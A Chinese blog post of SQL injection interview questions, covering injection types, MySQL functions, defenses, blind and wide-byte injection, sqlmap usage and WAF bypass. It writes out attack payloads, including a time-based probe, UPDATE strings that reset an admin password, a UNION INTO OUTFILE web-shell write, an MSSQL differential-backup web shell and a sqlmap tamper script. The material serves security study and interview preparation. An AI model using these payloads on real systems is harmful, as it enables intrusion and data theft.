SQL注入相关【面试题】

前言

本篇文章主要收集和SQL注入相关的面试题,持续更新,当然由于博主的时间不太充裕,可能更新会不是很及时,但是相信我,再晚,他都会来!
特别要求各位读者朋友关注我的博客,或者关注我的微信公众号:小白学IT

面试题

常见的数据库端口

1、mysql:3306
2、sqlserver(mssql):1433
3、oracle:1521
4、postgreSQL:5432
5、db2:50000

SQL注入能做什么(危害)?

1、登录模块的注入漏洞可以利用万能密码绕过登录认证
2、获取数据(脱库),可以查找出管理员账户密码
3、读取文件内容、向服务器写文件(写webshell,网站被植入木马)
4、破坏数据库,使网站奔溃

SQL注入种类?

1、按注入点数据类型分类:数字型、字符型
2、按数据传参方式分类:GET注入、POST注入、header头注入(cookie注入、host注入、user-agent注入、referer注入…)
3、按执行效果分类:union注入攻击、Boolean注入攻击-布尔盲注、报错注入攻击、时间注入攻击-时间盲注、堆叠查询注入攻击、二次注入攻击、宽字节注入攻击…

MySQL注入常用函数

database() 返回当前数据库名
user() 返回当前数据库用户名,可替代函数:@@user
updatexml() 更新xml文档,常用于报错注入,可替代函数:extractvalue()
mid() 从指定字段中提取出字段的内容
limit() 返回结果中的前几条数据或者中间的数据
concat() 返回参数产生的字符串
group_concat() 分组拼接函数 ,可替代函数:concat_ws()
count() 返回指定参数的数目
rand() 参数0~1个随机数
flood() 向下取整
substr() 截取字符串 ,可替代函数:substring() mid()
ascii() 返回字符串的ascii码
left() 返回字符串最左边指定个数的字符
ord() 返回字符的ascii码
length() 返回字符串长度
sleep() 延时函数

SQL注入的防护方法

1、使用安全的API
2、对输入的特殊字符进行Escape转义处理
3、使用白名单规范用户输入
4、使用黑名单规范用户输入,如不允许用户输入select等SQL类字符串
5、服务器端在提交数据库进行SQL查询前,对 特殊字符进行过滤、转义、替换、删除操作
6、所有的SQL语句采用预编译和绑定变量
7、使用安全设备进行防护,如WAF

如何突破注入时字符被转义

1、宽字节注入
2、hex编码绕过

为什么参数化查询可以防止SQL注入

使用参数化(预编译、绑定变量)查询时,数据库先进行SQL语句编译(已确定要运行SQL语句的语义),再套用绑定的参数值。也就是说使用了参数化查询后,参数的值不会改变SQL语句的语义,数据库只会按编译的SQL语句语义执行。

mysql的网站注入5.0以上和5.0以下有什么区别?

1、mysql5.0以下没有information_schema库,不能列表名,只能暴力跑表名
2、mysql5.0以下是多用户单操作
3、mysql5.0以上是多用户多操作

盲注是什么?怎么进行盲注?

1、盲注是在进行SQL注入时,页面没有将SQL语句的执行结果在页面展示(回显),只能单纯的通过服务器返回的内容变化、响应时间来判断是否存在SQL注入和利用方式。
2、booleab-based(布尔盲注)通过页面返回内容是否正确来判断是否存在注入
3、time-based(时间(延时)注入)通过服务器响应时间的不同(SQL语句的执行长短)来判断注入,可以通过benchmark、sleep等函数造成延时效果,也可以通过构造大笛卡尔积的联合查询表来达到延时的效果。

宽字节注入产生的原理以及根本原因?

字节基础:(1)单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127);(2)多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。
原理:
宽字节注入主要利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字,当php中addslash和magic_quotes_gpc开启时,会对单引号(0x27)进行转义,形成’的形式,\的16进制编码是0x5c,当使用GBK编码时,0x5c前如果出现类似0xdf之类的字符,就会结合形成一个汉字,结果就是0xdf5c27,而0xdf5c会结合成一个汉字,后面的引号(27)自然就再次生效(转义失效,被df吃掉了),这就是宽字节注入的原理。
根本原因
character_set_client(客户端字符集)和character_set_connection(连接层的字符集)不同,或转换函数使用不当,如iconv、mc_convert_encoding。
解决方法
(1)使用mysql_set_charset(GBK)指定字符集
(2)使用mysql_real_escape_string进行转义
mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,因为在使用mysql_real_escape_string之前必须使用mysql_set_charset去指定字符集。

怎么判断延时注入?

通过sleep()构造payload,如果出现响应时间不一致可能存在延时注入。
如’ and sleep(5) --+ 如果页面响应时间超过秒,则存在延时注入

盲注如何快速获取数据

使用dnslog辅助盲注

SQL里面只有update怎么利用?

假设具有注入的sql语句如下:

update user set password='md5($passwd)',page='$page' where id='$id'

思路:既然是update类型的注入,那么思路就是直接修改某些东西,当然实际操作可能有一定困难,但是这里主要讲思路。
当注入点在passwd时,思路sql语句: 更改任意用户密码

update set password='md5($passwd)' where username='admin'#',page='$page' where id='$id'

当注入点在page时,思路sql语句 更改用户级别

update user set password='md5($passwd)',page='$page', userlevel='1' where id='$id'

当注入点在id时,思路sql语句 直接修改任意用户密码

update user set password='md5($passwd)',page='$page' where id='' or username='admin'

以下链接存在SQL注入漏洞,对于这个变形注入,你的思路是什么?

test.php?id=AnjNjndm==

参数id很有可能进行了base64编码,如果确认了是base64编码,我们将我们的测试payload进行base64编码后再进行测试

发现test?id=1的注入点,你有哪些思路去getshell,优先级是怎样的?

1、具有写权限,直接sqlmap --os-shell获取shell (当然可以手动写)
2、拉取数据,获取网站账户(最好有管理员账户),通过后台结合上传类漏洞getshell。
第一种优先级最高,最快速,但是需要视具体情况进行定夺。

SQLMap常用参数?

-u 指定url
-r 指定请求数据包的文本文件
-m 批量跑get注入
–current-db 获取当前数据库
–table 获取指定数据库下的数据表
–tamper 指定tamper脚本,进行bypass
–os-shell 获取shell
–random-agent 随机指定user-agent
注:只列举这么多,具体情况看个人对sqlmap的熟悉情况,没事儿多用。

SQLMap怎么对一个注入点进行注入?

1、get类型注入,直接sqlmap -u url地址
2、post类型,(1)sqlmap -u url --data=post的参数 (2)sqlmap -r 请求数据包的文件地址
3、header注入,sqlmap -r 请求数据包的文件地址
注:在进行post注入或header注入时,可以使用*标记注入点

SQL注入写shell条件

1、需要当前数据库用户具备管理员权限
2、需要知道网站绝对路径
3、需要网站可写目录
4、mysql需要配置secure_file_priv为空
示例:

d=1' and 1=2 union select 1,2,'shell内容' into outfile "/www//site//shell.php" %23

注:使用sqlmap --os-shell更直接

udf提权原理

MySQL支持用户自定义函数,恶意用户将含有自定义函数的dll放入特定的文件夹,申明引入中引入的执行函数,使用执行的函数执行系统命令

MSSQL差异备份怎么getshell

前提条件:
1、MSSQL具体dbo和sa权限(数据库备份权限)
2、支持堆叠查询
3、知道网站绝对路径
实现原理
完整备份后,再次对数据库进行修改,差异备份会记录最后的LSN,将shell写入数据库,备份成asp即可getshell。
1.完整备份一次

 backup database 库名 to disk = 
    'c:\ddd.bak';--

2.创建表并插入数据

create table [dbo].[dtest] ([cmd] 
[image]);--
insert into dtest(cmd) 
values(0x3C25657865637574652872657175657374282261222929253E);--

0x3C25657865637574652872657175657374282261222929253E,这就是小马内容:<%execute(request(“a”))%>
3.进行差异备份

 backup 
    database 库名 to disk='目标位置\d.asp' WITH 
    DIFFERENTIAL,FORMAT;--

SQL注入Bypass(过waf)思路

1、内联注释绕过
2、填充脏数据绕过
3、更改请求方式,如GET改为POST
4、随机agent绕过
5、fuzz过滤函数,函数替换绕过
6、sqlmap,tamper脚本绕过----上述思路

SQLMAP编写tamper脚本方法

tamper脚本编写模板

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW 

def dependencies(): 
     pass

def tamper(payload, **kwargs): 
      pass

PROIORITY
用于定义tamper优先级,当调用多个tamper时生效,优先级如下,数值越大优先级越高

    LOWEST = -100
    LOWER = -50
    LOW = -10
    NORMAL = 0
    HIGH = 10
    HIGHER = 50
    HIGHEST = 100

dependencies

用于提示用户tamper适用范围,具体代码如下:

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("过狗tamper '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

DBMS.MYSQL代表MYSQL,其他数据库类推
tamper关键函数,用于定义过滤规则,示例代码如下:

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):
    payload=payload.replace('AND','/*!29450AND*/')
    payload=payload.replace('ORDER','/*!29450order*/')
    payload=payload.replace('LIKE USER()','like (user/**/())')
    payload=payload.replace('DATABASE()','database/*!29450*/()')
    payload=payload.replace('CURRENT_USER()','CURRENT_USER/**/()')
    payload=payload.replace('SESSION_USER()','SESSION_USER(%0a)')
    payload=payload.replace('UNION ALL SELECT','union/*!29450select*/')
    payload=payload.replace('super_priv','/*!29450/**/super_priv*/')
    payload=payload.replace('and host=','/*!29450and*/host/*!11440=*/')
    payload=payload.replace('BENCHMARK(','BENCHMARK/*!29450*/(')
    payload=payload.replace('SLEEP(','sleep/**/(')
  • 7
    点赞
  • 100
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
好的,以下是一个关于 SQL 注入面试题: 问:什么是 SQL 注入?如何防止 SQL 注入攻击? 回答: SQL 注入是一种常见的网络攻击,攻击者利用应用程序对用户输入数据的处理不当,将恶意 SQL 代码注入到应用程序中,以达到攻击的目的。攻击者可以通过 SQL 注入攻击获取敏感数据、修改数据库中的数据甚至控制整个服务器。 防止 SQL 注入攻击有以下几个方法: 1. 使用参数化查询:参数化查询可以防止 SQL 注入攻击,因为参数化查询使用变量来代替 SQL 查询语句中的值,这样攻击者无法通过注入恶意代码来修改查询语句。使用参数化查询可以在应用程序和数据库之间建立一个安全的隔离层。 2. 过滤用户输入:在应用程序中,对用户输入的数据进行过滤和校验,只允许特定的字符和格式。这样可以避免攻击者注入恶意代码。 3. 限制用户权限:在数据库中,限制用户的权限,只允许他们执行特定的操作。这样可以限制攻击者的影响范围,一旦攻击者成功注入恶意代码,也只能执行被授权的操作。 4. 更新软件和补丁:定期更新应用程序和数据库的软件和补丁,以及其他相关的软件和组件,可以减少 SQL 注入攻击的风险。 以上是一些防止 SQL 注入攻击的方法,但并不能保证绝对安全,因此还需要定期对系统进行安全审计和漏洞扫描。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

anansec

打赏是我创作路上的加油剂!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值